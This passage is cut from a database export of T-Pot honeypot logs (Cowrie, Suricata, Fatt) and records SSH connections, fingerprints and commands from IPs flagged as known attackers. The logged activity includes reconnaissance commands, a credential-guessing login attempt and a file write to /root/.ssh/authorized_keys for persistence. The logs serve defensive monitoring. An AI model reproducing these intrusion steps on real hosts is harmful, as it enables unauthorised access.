"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32698	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:20.561322+03	2021-09-20 15:00:03.816717+03	{"_id": "6gYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "43785dc28314", "@version": "1", "timestamp": "2021-09-20T11:53:20.561322Z", "@timestamp": "2021-09-20T11:53:20.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32699	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:20.55943+03	2021-09-20 15:00:03.817717+03	{"_id": "8gYNA3wBvYTbRNuEr0vf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:20.559430Z", "@timestamp": "2021-09-20T11:53:20.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32784	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.325322+03	2021-09-20 15:00:03.919723+03	{"_id": "XAYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.325322Z", "@timestamp": "2021-09-20T11:53:28.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32700	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:22.736629+03	2021-09-20 15:00:03.818716+03	{"_id": "AgYNA3wBvYTbRNuEt0ys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:22.736629Z", "@timestamp": "2021-09-20T11:53:22.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32701	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:53:22.402096+03	2021-09-20 15:00:03.819717+03	{"_id": "AAYNA3wBvYTbRNuEt0ys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53ad0123b13b", "@version": "1", "duration": 2.8202500343322754, "timestamp": "2021-09-20T11:53:22.402096Z", "@timestamp": "2021-09-20T11:53:22.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32702	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.22067+03	2021-09-20 15:00:03.821716+03	{"_id": "BwYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "159.253.30.249", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "276618e7e832", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:53:22.220670Z", "@timestamp": "2021-09-20T11:53:22.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32703	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:22.400651+03	2021-09-20 15:00:03.822716+03	{"_id": "BAYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "96.78.175.36", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.517348051071167, "duplicate": true, "timestamp": "2021-09-20T11:53:22.400651Z", "@timestamp": "2021-09-20T11:53:22.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32704	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:53:23.258578+03	2021-09-20 15:00:03.824717+03	{"_id": "CwYNA3wBvYTbRNuEuUwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:19.677836+0000", "pkts_toclient": 24, "pkts_toserver": 26, "bytes_toclient": 4591, "bytes_toserver": 4734}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 167200764680140, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55754, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:23.258578Z", "@timestamp": "2021-09-20T11:53:23.258Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32705	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.663961+03	2021-09-20 15:00:03.825716+03	{"_id": "DgYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "159.253.30.249", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.17631220817565918, "duplicate": true, "timestamp": "2021-09-20T11:53:23.663961Z", "@timestamp": "2021-09-20T11:53:23.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32706	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.836939+03	2021-09-20 15:00:03.826717+03	{"_id": "EAYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.836939Z", "@timestamp": "2021-09-20T11:53:23.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32707	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.837475+03	2021-09-20 15:00:03.827716+03	{"_id": "EgYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.837475Z", "@timestamp": "2021-09-20T11:53:23.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32708	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.202786+03	2021-09-20 15:00:03.828716+03	{"_id": "FwYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.202786Z", "@timestamp": "2021-09-20T11:53:23.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32709	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:03.903516+03	2021-09-20 15:00:03.829716+03	{"_id": "VAYNA3wBvYTbRNuEb0vj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48522, "timestamp": "2021-09-20T11:53:03.903516", "@timestamp": "2021-09-20T11:53:03.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32715	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:07.821735+03	2021-09-20 15:00:03.837724+03	{"_id": "ZwYNA3wBvYTbRNuEfUsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:07.821735Z", "@timestamp": "2021-09-20T11:53:07.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32710	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:05.508928+03	2021-09-20 15:00:03.831716+03	{"_id": "XwYNA3wBvYTbRNuEdUs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ef73d7d2592f", "@version": "1", "timestamp": "2021-09-20T11:53:05.508928Z", "@timestamp": "2021-09-20T11:53:05.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32711	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:53:05.496948+03	2021-09-20 15:00:03.832717+03	{"_id": "YgYNA3wBvYTbRNuEdkur", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 367754261692182, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48878, "dest_port": 22, "timestamp": "2021-09-20T11:53:05.496948Z", "@timestamp": "2021-09-20T11:53:05.496Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32712	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:53:05.508289+03	2021-09-20 15:00:03.833736+03	{"_id": "YwYNA3wBvYTbRNuEd0u1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48878, "dest_port": 22, "timestamp": "2021-09-20T11:53:05.508289", "@timestamp": "2021-09-20T11:53:05.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32713	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:06.337128+03	2021-09-20 15:00:03.834722+03	{"_id": "ZAYNA3wBvYTbRNuEeUsk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "ef73d7d2592f", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:53:06.337128Z", "@timestamp": "2021-09-20T11:53:06.337Z", "t-pot_ip_ext": 